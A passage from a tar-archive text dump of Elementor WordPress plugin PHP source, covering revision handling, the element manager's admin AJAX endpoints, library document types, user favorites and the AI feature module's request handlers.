esc_html__( 'Revision', 'elementor' ); } if ( ! isset( self::$authors[ $revision->post_author ] ) ) { self::$authors[ $revision->post_author ] = [ 'avatar' => get_avatar( $revision->post_author, 22 ), 'display_name' => get_the_author_meta( 'display_name', $revision->post_author ), ]; } $revisions[] = [ 'id' => $revision->ID, 'author' => self::$authors[ $revision->post_author ]['display_name'], 'timestamp' => strtotime( $revision->post_modified ), 'date' => sprintf( /* translators: 1: Human readable time difference, 2: Date. */ esc_html__( '%1$s ago (%2$s)', 'elementor' ), '', '' ), 'type' => $type, 'typeLabel' => $type_label, 'gravatar' => self::$authors[ $revision->post_author ]['avatar'], ]; } return $revisions; } /** * @since 1.9.2 * @access public * @static */ public static function update_autosave( $autosave_data ) { self::save_revision( $autosave_data['ID'] ); } /** * @since 1.7.0 * @access public * @static */ public static function save_revision( $revision_id ) { $parent_id = wp_is_post_revision( $revision_id ); if ( $parent_id ) { Plugin::$instance->db->safe_copy_elementor_meta( $parent_id, $revision_id ); } } /** * @since 1.7.0 * @access public * @static */ public static function restore_revision( $parent_id, $revision_id ) { $parent = Plugin::$instance->documents->get( $parent_id ); $revision = Plugin::$instance->documents->get( $revision_id ); if ( ! $parent || ! $revision ) { return; } $is_built_with_elementor = $revision->is_built_with_elementor(); $parent->set_is_built_with_elementor( $is_built_with_elementor ); if ( ! $is_built_with_elementor ) { return; } Plugin::$instance->db->copy_elementor_meta( $revision_id, $parent_id ); $post_css = Post_CSS::create( $parent_id ); $post_css->update(); } /** * @since 2.3.0 * @access public * @static * * @param $data * * @return array * @throws \Exception */ public static function ajax_get_revision_data( array $data ) { if ( ! isset( $data['id'] ) ) { throw new \Exception( 'You must set the revision ID.' ); } $revision = Plugin::$instance->documents->get_with_permissions( $data['id'] ); return [ 'settings' => $revision->get_settings(), 'elements' => $revision->get_elements_data(), ]; } /** * @since 1.7.0 * @access public * @static */ public static function add_revision_support_for_all_post_types() { $post_types = get_post_types_by_support( 'elementor' ); foreach ( $post_types as $post_type ) { add_post_type_support( $post_type, 'revisions' ); } } /** * @since 2.0.0 * @access public * @static * @param array $return_data * @param Document $document * * @return array */ public static function on_ajax_save_builder_data( $return_data, $document ) { $post_id = $document->get_main_id(); $latest_revisions = self::get_revisions( $post_id, [ 'posts_per_page' => 1, ] ); $all_revision_ids = self::get_revisions( $post_id, [ 'fields' => 'ids', ], false ); // Send revisions data only if has revisions. if ( ! empty( $latest_revisions ) ) { $current_revision_id = self::current_revision_id( $post_id ); $return_data = array_replace_recursive( $return_data, [ 'config' => [ 'document' => [ 'revisions' => [ 'current_id' => $current_revision_id, ], ], ], 'latest_revisions' => $latest_revisions, 'revisions_ids' => $all_revision_ids, ] ); } return $return_data; } /** * @since 1.7.0 * @access public * @static */ public static function db_before_save( $status, $has_changes ) { if ( $has_changes ) { self::handle_revision(); } } public static function document_config( $settings, $post_id ) { $settings['revisions'] = [ 'enabled' => ( $post_id && wp_revisions_enabled( get_post( $post_id ) ) ), 'current_id' => self::current_revision_id( $post_id ), ]; return $settings; } /** * Localize settings. * * Add new localized settings for the revisions manager. * * Fired by `elementor/editor/editor_settings` filter. * * @since 1.7.0 * @deprecated 3.1.0 * @access public * @static */ public static function editor_settings() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0' ); return []; } /** * @throws \Exception */ public static function ajax_get_revisions( $data ) { Plugin::$instance->documents->check_permissions( $data['editor_post_id'] ); return self::get_revisions(); } /** * @since 2.3.0 * @access public * @static */ public static function register_ajax_actions( Ajax $ajax ) { $ajax->register_ajax_action( 'get_revisions', [ __CLASS__, 'ajax_get_revisions' ] ); $ajax->register_ajax_action( 'get_revision_data', [ __CLASS__, 'ajax_get_revision_data' ] ); } /** * @since 1.7.0 * @access private * @static */ private static function register_actions() { add_action( 'wp_restore_post_revision', [ __CLASS__, 'restore_revision' ], 10, 2 ); add_action( 'init', [ __CLASS__, 'add_revision_support_for_all_post_types' ], 9999 ); add_filter( 'elementor/document/config', [ __CLASS__, 'document_config' ], 10, 2 ); add_action( 'elementor/db/before_save', [ __CLASS__, 'db_before_save' ], 10, 2 ); add_action( '_wp_put_post_revision', [ __CLASS__, 'save_revision' ] ); add_action( 'wp_creating_autosave', [ __CLASS__, 'update_autosave' ] ); add_action( 'elementor/ajax/register_actions', [ __CLASS__, 'register_ajax_actions' ] ); // Hack to avoid delete the auto-save revision in WP editor. add_filter( 'edit_post_content', [ __CLASS__, 'avoid_delete_auto_save' ], 10, 2 ); add_action( 'edit_form_after_title', [ __CLASS__, 'remove_temp_post_content' ] ); if ( wp_doing_ajax() ) { add_filter( 'elementor/documents/ajax_save/return_data', [ __CLASS__, 'on_ajax_save_builder_data' ], 10, 2 ); } } /** * @since 1.9.0 * @access private * @static */ private static function current_revision_id( $post_id ) { $current_revision_id = $post_id; $autosave = Utils::get_post_autosave( $post_id ); if ( is_object( $autosave ) ) { $current_revision_id = $autosave->ID; } return $current_revision_id; } } modules/history/views/revisions-panel-template.php000064400000006744147206604650016537 0ustar00 modules/history/views/history-panel-template.php000064400000003664147206604650016215 0ustar00 modules/element-manager/module.php000064400000005023147206604650013265 0ustar00register_endpoints(); add_action( 'elementor/admin/menu/register', function( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( static::PAGE_ID, new Admin_Menu_App() ); }, 25 ); add_action( 'elementor/admin/menu/after_register', function ( Admin_Menu_Manager $admin_menu, array $hooks ) { if ( ! empty( $hooks[ static::PAGE_ID ] ) ) { add_action( "admin_print_scripts-{$hooks[ static::PAGE_ID ]}", [ $this, 'enqueue_assets' ] ); add_action( "admin_footer-{$hooks[ static::PAGE_ID ]}", [ $this, 'print_styles' ], 1000 ); } }, 10, 2 ); add_filter( 'elementor/widgets/is_widget_enabled', function( $should_register, Widget_Base $widget_instance ) { return ! Options::is_element_disabled( $widget_instance->get_name() ); }, 10, 2 ); add_filter( 'elementor/system-info/usage/settings', function( $usage ) { $disabled_elements = Options::get_disabled_elements(); if ( ! empty( $disabled_elements ) ) { $usage['disabled_elements'] = implode( ', ', $disabled_elements ); } return $usage; } ); add_filter( 'elementor/tracker/send_tracking_data_params', function( $params ) { $disabled_elements = Options::get_disabled_elements(); if ( ! empty( $disabled_elements ) ) { $params['usages']['disabled_elements'] = $disabled_elements; } return $params; } ); } public function enqueue_assets() { wp_enqueue_script( 'e-element-manager-app', $this->get_js_assets_url( 'element-manager-admin' ), [ 'wp-element', 'wp-components', 'wp-dom-ready', 'wp-i18n', ], ELEMENTOR_VERSION ); wp_localize_script( 'e-element-manager-app', 'eElementManagerConfig', [ 'nonce' => wp_create_nonce( 'e-element-manager-app' ), 'ajaxurl' => admin_url( 'admin-ajax.php' ), ] ); wp_set_script_translations( 'e-element-manager-app', 'elementor' ); wp_enqueue_style( 'wp-components' ); wp_enqueue_style( 'wp-format-library' ); } public function print_styles() { ?> '; echo '

' . esc_html__( 'Element Manager', 'elementor' ) . '

'; echo '
'; echo ''; } } modules/element-manager/ajax.php000064400000013137147206604650012730 0ustar00verify_permission(); $this->force_enabled_all_elements(); $widgets = []; $plugins = []; foreach ( Plugin::$instance->widgets_manager->get_widget_types() as $widget ) { $widget_title = sanitize_user( $widget->get_title() ); if ( empty( $widget_title ) || ! $widget->show_in_panel() ) { continue; } $plugin_name = $this->get_plugin_name_from_widget_instance( $widget ); if ( ! in_array( $plugin_name, $plugins ) ) { $plugins[] = $plugin_name; } $widgets[] = [ 'name' => $widget->get_name(), 'plugin' => $plugin_name, 'title' => $widget_title, 'icon' => $widget->get_icon(), ]; } $notice_id = 'e-element-manager-intro-1'; $data = [ 'disabled_elements' => Options::get_disabled_elements(), 'promotion_widgets' => [], 'widgets' => $widgets, 'plugins' => $plugins, 'notice_data' => [ 'notice_id' => $notice_id, 'is_viewed' => User::is_user_notice_viewed( $notice_id ), ], 'promotion_data' => [ 'manager_permissions' => [ 'pro' => $this->get_element_manager_promotion( [ 'text' => esc_html__( 'Upgrade Now', 'elementor' ), 'url' => self::FREE_TO_PRO_PERMISSIONS_PROMOTION_URL, ], 'pro_permissions' ), 'advanced' => $this->get_element_manager_promotion( [ 'text' => esc_html__( 'Upgrade Now', 'elementor' ), 'url' => self::PRO_TO_ADVANCED_PERMISSIONS_PROMOTION_URL, ], 'advanced_permissions' ), ], 'element_manager' => $this->get_element_manager_promotion( [ 'text' => esc_html__( 'Upgrade Now', 'elementor' ), 'url' => self::ELEMENT_MANAGER_PROMOTION_URL, ], 'element_manager' ), ], ]; if ( ! Utils::has_pro() ) { $data['promotion_widgets'] = Api::get_promotion_widgets(); } $data['additional_data'] = apply_filters( 'elementor/element_manager/admin_app_data/additional_data', [] ); wp_send_json_success( $data ); } private function get_element_manager_promotion( $promotion_data, $filter_id ): array { return Filtered_Promotions_Manager::get_filtered_promotion_data( $promotion_data, 'elementor/element_manager/admin_app_data/promotion_data/' . $filter_id, 'url' ); } private function verify_permission() { if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( esc_html__( 'You do not have permission to edit these settings.', 'elementor' ) ); } $nonce = Utils::get_super_global_value( $_POST, 'nonce' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'e-element-manager-app' ) ) { wp_send_json_error( esc_html__( 'Invalid nonce.', 'elementor' ) ); } } private function force_enabled_all_elements() { remove_all_filters( 'elementor/widgets/is_widget_enabled' ); } private function get_plugin_name_from_widget_instance( $widget ) { if ( in_array( 'wordpress', $widget->get_categories() ) ) { return esc_html__( 'WordPress Widgets', 'elementor' ); } $class_reflection = new \ReflectionClass( $widget ); $plugin_basename = plugin_basename( $class_reflection->getFileName() ); $plugin_directory = strtok( $plugin_basename, '/' ); $plugins_data = get_plugins( '/' . $plugin_directory ); $plugin_data = array_shift( $plugins_data ); return $plugin_data['Name'] ?? esc_html__( 'Unknown', 'elementor' ); } public function ajax_save_disabled_elements() { $this->verify_permission(); $elements = Utils::get_super_global_value( $_POST, 'widgets' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( empty( $elements ) ) { wp_send_json_error( esc_html__( 'No elements to save.', 'elementor' ) ); } $disabled_elements = json_decode( $elements ); if ( ! is_array( $disabled_elements ) ) { wp_send_json_error( esc_html__( 'Unexpected elements data.', 'elementor' ) ); } Options::update_disabled_elements( $disabled_elements ); do_action( 'elementor/element_manager/save_disabled_elements' ); wp_send_json_success(); } public function ajax_get_widgets_usage() { $this->verify_permission(); /** @var Usage_Module $usage_module */ $usage_module = Usage_Module::instance(); $usage_module->recalc_usage(); $widgets_usage = []; foreach ( $usage_module->get_formatted_usage( 'raw' ) as $data ) { foreach ( $data['elements'] as $element => $count ) { if ( ! isset( $widgets_usage[ $element ] ) ) { $widgets_usage[ $element ] = 0; } $widgets_usage[ $element ] += $count; } } wp_send_json_success( $widgets_usage ); } } modules/element-manager/options.php000064400000001024147206604650013470 0ustar00documents ->register_document_type( 'not-supported', Documents\Not_Supported::get_class_full_name() ) ->register_document_type( 'page', Documents\Page::get_class_full_name() ) ->register_document_type( 'section', Documents\Section::get_class_full_name() ); $experiments_manager = Plugin::$instance->experiments; // Register `Container` document type only if the experiment is active. if ( $experiments_manager->is_feature_active( 'container' ) ) { Plugin::$instance->documents ->register_document_type( 'container', Documents\Container::get_class_full_name() ); } } } modules/library/traits/library.php000064400000002021147206604650013350 0ustar00get_name() ); //PHPCS - Not a user input printf( '%s', $admin_filter_url, $this->get_title() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Save document type. * * Set new/updated document type. * * @since 3.1.0 * @access public */ public function save_template_type() { parent::save_template_type(); wp_set_object_terms( $this->post->ID, $this->get_name(), Source_Local::TAXONOMY_TYPE_SLUG ); } } modules/library/documents/page.php000064400000003521147206604650013321 0ustar00get_main_id(); } /** * @since 3.1.0 * @access protected */ protected function register_controls() { parent::register_controls(); Post::register_hide_title_control( $this ); Post::register_style_controls( $this ); } protected function get_remote_library_config() { $config = parent::get_remote_library_config(); $config['type'] = 'page'; $config['default_route'] = 'templates/pages'; return $config; } } modules/library/documents/library-document.php000064400000003261147206604650015666 0ustar00 true, ]; return $config; } public function get_content( $with_css = false ) { return do_shortcode( parent::get_content( $with_css ) ); } } modules/library/documents/section.php000064400000001665147206604650014060 0ustar00user_id = $user_id; } /** * @param null $vendor * @param null $resource * @param false $ignore_cache * * @return array */ public function get( $vendor = null, $resource = null, $ignore_cache = false ) { if ( $ignore_cache || empty( $this->cache ) ) { $this->cache = get_user_meta( $this->user_id, self::USER_META_KEY, true ); } if ( ! $this->cache || ! is_array( $this->cache ) ) { return []; } if ( $vendor && $resource ) { $key = $this->get_key( $vendor, $resource ); return isset( $this->cache[ $key ] ) ? $this->cache[ $key ] : []; } return $this->cache; } /** * @param $vendor * @param $resource * @param $id * * @return bool */ public function exists( $vendor, $resource, $id ) { return in_array( $id, $this->get( $vendor, $resource ), true ); } /** * @param $vendor * @param $resource * @param array $value * * @return $this * @throws \Exception */ public function save( $vendor, $resource, $value = [] ) { $all_favorites = $this->get(); $all_favorites[ $this->get_key( $vendor, $resource ) ] = $value; $result = update_user_meta( $this->user_id, self::USER_META_KEY, $all_favorites ); if ( false === $result ) { throw new \Exception( 'Failed to save user favorites.' ); } $this->cache = $all_favorites; return $this; } /** * @param $vendor * @param $resource * @param $id * * @return $this * @throws \Exception */ public function add( $vendor, $resource, $id ) { $favorites = $this->get( $vendor, $resource ); if ( in_array( $id, $favorites, true ) ) { return $this; } $favorites[] = $id; $this->save( $vendor, $resource, $favorites ); return $this; } /** * @param $vendor * @param $resource * @param $id * * @return $this * @throws \Exception */ public function remove( $vendor, $resource, $id ) { $favorites = $this->get( $vendor, $resource ); if ( ! in_array( $id, $favorites, true ) ) { return $this; } $favorites = array_filter( $favorites, function ( $item ) use ( $id ) { return $item !== $id; } ); $this->save( $vendor, $resource, $favorites ); return $this; } /** * @param $vendor * @param $resource * * @return string */ private function get_key( $vendor, $resource ) { return "{$vendor}/{$resource}"; } } modules/ai/module.php000064400000074273147206604650010632 0ustar00register(); } if ( ! Preferences::is_ai_enabled( get_current_user_id() ) ) { return; } $this->register_layout_experiment(); add_action( 'elementor/connect/apps/register', function ( ConnectModule $connect_module ) { $connect_module->register_app( 'ai', Ai::get_class_name() ); } ); add_action( 'elementor/ajax/register_actions', function( $ajax ) { $handlers = [ 'ai_get_user_information' => [ $this, 'ajax_ai_get_user_information' ], 'ai_get_remote_config' => [ $this, 'ajax_ai_get_remote_config' ], 'ai_get_remote_frontend_config' => [ $this, 'ajax_ai_get_remote_frontend_config' ], 'ai_get_completion_text' => [ $this, 'ajax_ai_get_completion_text' ], 'ai_get_excerpt' => [ $this, 'ajax_ai_get_excerpt' ], 'ai_get_featured_image' => [ $this, 'ajax_ai_get_featured_image' ], 'ai_get_edit_text' => [ $this, 'ajax_ai_get_edit_text' ], 'ai_get_custom_code' => [ $this, 'ajax_ai_get_custom_code' ], 'ai_get_custom_css' => [ $this, 'ajax_ai_get_custom_css' ], 'ai_set_get_started' => [ $this, 'ajax_ai_set_get_started' ], 'ai_set_status_feedback' => [ $this, 'ajax_ai_set_status_feedback' ], 'ai_get_image_prompt_enhancer' => [ $this, 'ajax_ai_get_image_prompt_enhancer' ], 'ai_get_text_to_image' => [ $this, 'ajax_ai_get_text_to_image' ], 'ai_get_image_to_image' => [ $this, 'ajax_ai_get_image_to_image' ], 'ai_get_image_to_image_mask' => [ $this, 'ajax_ai_get_image_to_image_mask' ], 'ai_get_image_to_image_mask_cleanup' => [ $this, 'ajax_ai_get_image_to_image_mask_cleanup' ], 'ai_get_image_to_image_outpainting' => [ $this, 'ajax_ai_get_image_to_image_outpainting' ], 'ai_get_image_to_image_upscale' => [ $this, 'ajax_ai_get_image_to_image_upscale' ], 'ai_get_image_to_image_remove_background' => [ $this, 'ajax_ai_get_image_to_image_remove_background' ], 'ai_get_image_to_image_replace_background' => [ $this, 'ajax_ai_get_image_to_image_replace_background' ], 'ai_upload_image' => [ $this, 'ajax_ai_upload_image' ], 'ai_generate_layout' => [ $this, 'ajax_ai_generate_layout' ], 'ai_get_layout_prompt_enhancer' => [ $this, 'ajax_ai_get_layout_prompt_enhancer' ], 'ai_get_history' => [ $this, 'ajax_ai_get_history' ], 'ai_delete_history_item' => [ $this, 'ajax_ai_delete_history_item' ], 'ai_toggle_favorite_history_item' => [ $this, 'ajax_ai_toggle_favorite_history_item' ], ]; foreach ( $handlers as $tag => $callback ) { $ajax->register_ajax_action( $tag, $callback ); } } ); add_action( 'elementor/editor/before_enqueue_scripts', function() { $this->enqueue_main_script(); if ( $this->is_layout_active() ) { $this->enqueue_layout_script(); } } ); add_action( 'elementor/editor/after_enqueue_styles', function() { wp_enqueue_style( 'elementor-ai-editor', $this->get_css_assets_url( 'modules/ai/editor' ), [], ELEMENTOR_VERSION ); } ); add_action( 'elementor/preview/enqueue_styles', function() { if ( $this->is_layout_active() ) { wp_enqueue_style( 'elementor-ai-layout-preview', $this->get_css_assets_url( 'modules/ai/layout-preview' ), [], ELEMENTOR_VERSION ); } } ); if ( is_admin() ) { add_action( 'wp_enqueue_media', [ $this, 'enqueue_ai_media_library' ] ); } add_action( 'enqueue_block_editor_assets', function() { wp_enqueue_script( 'elementor-ai-gutenberg', $this->get_js_assets_url( 'ai-gutenberg' ), [ 'jquery', 'elementor-v2-ui', 'elementor-v2-icons', 'wp-blocks', 'wp-element', 'wp-editor', 'wp-data', 'wp-components', 'wp-compose', 'wp-i18n', 'wp-hooks', 'elementor-ai-media-library', ], ELEMENTOR_VERSION, true ); wp_localize_script( 'elementor-ai-gutenberg', 'ElementorAiConfig', [ 'is_get_started' => User::get_introduction_meta( 'ai_get_started' ), 'connect_url' => $this->get_ai_connect_url(), ] ); wp_set_script_translations( 'elementor-ai-gutenberg', 'elementor' ); }); add_filter( 'elementor/document/save/data', function ( $data ) { if ( $this->is_layout_active() ) { return $this->remove_temporary_containers( $data ); } return $data; } ); } private function register_layout_experiment() { Plugin::$instance->experiments->add_feature( [ 'name' => static::LAYOUT_EXPERIMENT, 'title' => esc_html__( 'Build with AI', 'elementor' ), 'description' => esc_html__( 'Tap into the potential of AI to easily create and customize containers to your specifications, right within Elementor. This feature comes packed with handy AI tools, including generation, variations, and URL references.', 'elementor' ), 'default' => Experiments_Manager::STATE_ACTIVE, 'release_status' => Experiments_Manager::RELEASE_STATUS_STABLE, 'dependencies' => [ 'container', ], ] ); } public function enqueue_ai_media_library() { wp_enqueue_script( 'elementor-ai-media-library', $this->get_js_assets_url( 'ai-media-library' ), [ 'jquery', 'elementor-v2-ui', 'elementor-v2-icons', 'media-grid', ], ELEMENTOR_VERSION, true ); wp_localize_script( 'elementor-ai-media-library', 'ElementorAiConfig', [ 'is_get_started' => User::get_introduction_meta( 'ai_get_started' ), 'connect_url' => $this->get_ai_connect_url(), ] ); wp_set_script_translations( 'elementor-ai-media-library', 'elementor' ); } private function enqueue_main_script() { wp_enqueue_script( 'elementor-ai', $this->get_js_assets_url( 'ai' ), [ 'react', 'react-dom', 'backbone-marionette', 'elementor-web-cli', 'wp-date', 'elementor-common', 'elementor-editor-modules', 'elementor-editor-document', 'elementor-v2-ui', 'elementor-v2-icons', ], ELEMENTOR_VERSION, true ); $config = [ 'is_get_started' => User::get_introduction_meta( 'ai_get_started' ), 'connect_url' => $this->get_ai_connect_url(), ]; if ( $this->get_ai_app()->is_connected() ) { // Use a cached version, don't call the API on every editor load. $config['usage'] = $this->get_ai_app()->get_cached_usage(); } wp_localize_script( 'elementor-ai', 'ElementorAiConfig', $config ); wp_set_script_translations( 'elementor-ai', 'elementor' ); } private function enqueue_layout_script() { wp_enqueue_script( 'elementor-ai-layout', $this->get_js_assets_url( 'ai-layout' ), [ 'react', 'react-dom', 'backbone-marionette', 'elementor-common', 'elementor-web-cli', 'elementor-editor-modules', 'elementor-ai', 'elementor-v2-ui', 'elementor-v2-icons', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-ai-layout', 'elementor' ); } private function is_layout_active() { return Plugin::$instance->experiments->is_feature_active( self::LAYOUT_EXPERIMENT ); } private function remove_temporary_containers( $data ) { if ( empty( $data['elements'] ) ) { return $data; } // If for some reason the document has been saved during an AI Layout session, // ensure that the temporary containers are removed from the data. $data['elements'] = array_filter( $data['elements'], function( $element ) { $is_preview_container = strpos( $element['id'], 'e-ai-preview-container' ) === 0; $is_screenshot_container = strpos( $element['id'], 'e-ai-screenshot-container' ) === 0; return ! $is_preview_container && ! $is_screenshot_container; } ); return $data; } private function get_ai_connect_url() { $app = $this->get_ai_app(); return $app->get_admin_url( 'authorize', [ 'utm_source' => 'ai-popup', 'utm_campaign' => 'connect-account', 'utm_medium' => 'wp-dash', 'source' => 'generic', ] ); } public function ajax_ai_get_user_information( $data ) { $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { return [ 'is_connected' => false, 'connect_url' => $this->get_ai_connect_url(), ]; } $user_usage = wp_parse_args( $app->get_usage(), [ 'hasAiSubscription' => false, 'usedQuota' => 0, 'quota' => 100, ] ); return [ 'is_connected' => true, 'is_get_started' => User::get_introduction_meta( 'ai_get_started' ), 'usage' => $user_usage, ]; } public function ajax_ai_get_remote_config() { $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { return []; } return $app->get_remote_config(); } public function ajax_ai_get_remote_frontend_config( $data ) { $callback = function () use ( $data ) { return $this->get_ai_app()->get_remote_frontend_config( $data ); }; return Utils::get_cached_callback( $callback, 'ai_remote_frontend_config-' . get_current_user_id(), HOUR_IN_SECONDS ); } public function verify_upload_permissions( $data ) { $referer = wp_get_referer(); if ( str_contains( $referer, 'wp-admin/upload.php' ) && current_user_can( 'upload_files' ) ) { return; } $this->verify_permissions( $data['editor_post_id'] ); } private function verify_permissions( $editor_post_id ) { $document = Plugin::$instance->documents->get( $editor_post_id ); if ( ! $document ) { throw new \Exception( 'Document not found' ); } if ( ! $document->is_editable_by_current_user() ) { throw new \Exception( 'Access denied' ); } } public function ajax_ai_get_image_prompt_enhancer( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( empty( $data['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_image_prompt_enhanced( $data['prompt'], [], $request_ids ); $this->throw_on_error( $result ); return [ 'text' => $result['text'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_completion_text( $data ) { $this->verify_permissions( $data['editor_post_id'] ); $app = $this->get_ai_app(); if ( empty( $data['payload']['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_completion_text( $data['payload']['prompt'], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'text' => $result['text'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_excerpt( $data ): array { $app = $this->get_ai_app(); if ( empty( $data['payload']['content'] ) ) { throw new \Exception( 'Missing content' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'Not connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_excerpt( $data['payload']['content'], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'text' => $result['text'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_featured_image( $data ): array { $this->verify_upload_permissions( $data ); if ( empty( $data['payload']['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_featured_image( $data, $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } private function get_ai_app() : Ai { return Plugin::$instance->common->get_component( 'connect' )->get_app( 'ai' ); } private function get_request_context( $data ) { if ( empty( $data['context'] ) ) { return []; } return $data['context']; } private function get_request_ids( $data ) { if ( empty( $data['requestIds'] ) ) { return new \stdClass(); } return $data['requestIds']; } public function ajax_ai_get_edit_text( $data ) { $this->verify_permissions( $data['editor_post_id'] ); $app = $this->get_ai_app(); if ( empty( $data['payload']['input'] ) ) { throw new \Exception( 'Missing input' ); } if ( empty( $data['payload']['instruction'] ) ) { throw new \Exception( 'Missing instruction' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_edit_text( $data, $context, $request_ids ); $this->throw_on_error( $result ); return [ 'text' => $result['text'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_custom_code( $data ) { $app = $this->get_ai_app(); if ( empty( $data['payload']['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } if ( empty( $data['payload']['language'] ) ) { throw new \Exception( 'Missing language' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_custom_code( $data, $context, $request_ids ); $this->throw_on_error( $result ); return [ 'text' => $result['text'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_custom_css( $data ) { $this->verify_permissions( $data['editor_post_id'] ); $app = $this->get_ai_app(); if ( empty( $data['payload']['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } if ( empty( $data['payload']['html_markup'] ) ) { $data['html_markup'] = ''; } if ( empty( $data['payload']['element_id'] ) ) { throw new \Exception( 'Missing element_id' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_custom_css( $data, $context, $request_ids ); $this->throw_on_error( $result ); return [ 'text' => $result['text'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_set_get_started( $data ) { $app = $this->get_ai_app(); User::set_introduction_viewed( [ 'introductionKey' => 'ai_get_started', ] ); return $app->set_get_started(); } public function ajax_ai_set_status_feedback( $data ) { if ( empty( $data['response_id'] ) ) { throw new \Exception( 'Missing response_id' ); } $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $app->set_status_feedback( $data['response_id'] ); return []; } public function ajax_ai_get_text_to_image( $data ) { $this->verify_upload_permissions( $data ); if ( empty( $data['payload']['prompt'] ) ) { throw new \Exception( 'Missing prompt' ); } $app = $this->get_ai_app(); if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_text_to_image( $data, $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_image_to_image( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( empty( $data['payload']['image'] ) || empty( $data['payload']['image']['id'] ) ) { throw new \Exception( 'Missing Image' ); } if ( empty( $data['payload']['settings'] ) ) { throw new \Exception( 'Missing prompt settings' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_image_to_image( [ 'prompt' => $data['payload']['prompt'], 'promptSettings' => $data['payload']['settings'], 'attachment_id' => $data['payload']['image']['id'], ], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_image_to_image_upscale( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( empty( $data['payload']['image'] ) || empty( $data['payload']['image']['id'] ) ) { throw new \Exception( 'Missing Image' ); } if ( empty( $data['payload']['promptSettings'] ) ) { throw new \Exception( 'Missing prompt settings' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_image_to_image_upscale( [ 'promptSettings' => $data['payload']['promptSettings'], 'attachment_id' => $data['payload']['image']['id'], ], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_image_to_image_replace_background( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( empty( $data['payload']['image'] ) || empty( $data['payload']['image']['id'] ) ) { throw new \Exception( 'Missing Image' ); } if ( empty( $data['payload']['prompt'] ) ) { throw new \Exception( 'Prompt Missing' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = $app->get_image_to_image_replace_background( [ 'attachment_id' => $data['payload']['image']['id'], 'prompt' => $data['payload']['prompt'], ], $context, $request_ids ); $this->throw_on_error( $result ); return [ 'images' => $result['images'], 'response_id' => $result['responseId'], 'usage' => $result['usage'], ]; } public function ajax_ai_get_image_to_image_remove_background( $data ) { $this->verify_upload_permissions( $data ); $app = $this->get_ai_app(); if ( empty( $data['payload']['image'] ) || empty( $data['payload']['image']['id'] ) ) { throw new \Exception( 'Missing Image' ); } if ( ! $app->is_connected() ) { throw new \Exception( 'not_connected' ); } $context = $this->get_request_context( $data ); $request_ids = $this->get_request_ids( $data['payload'] ); $result = 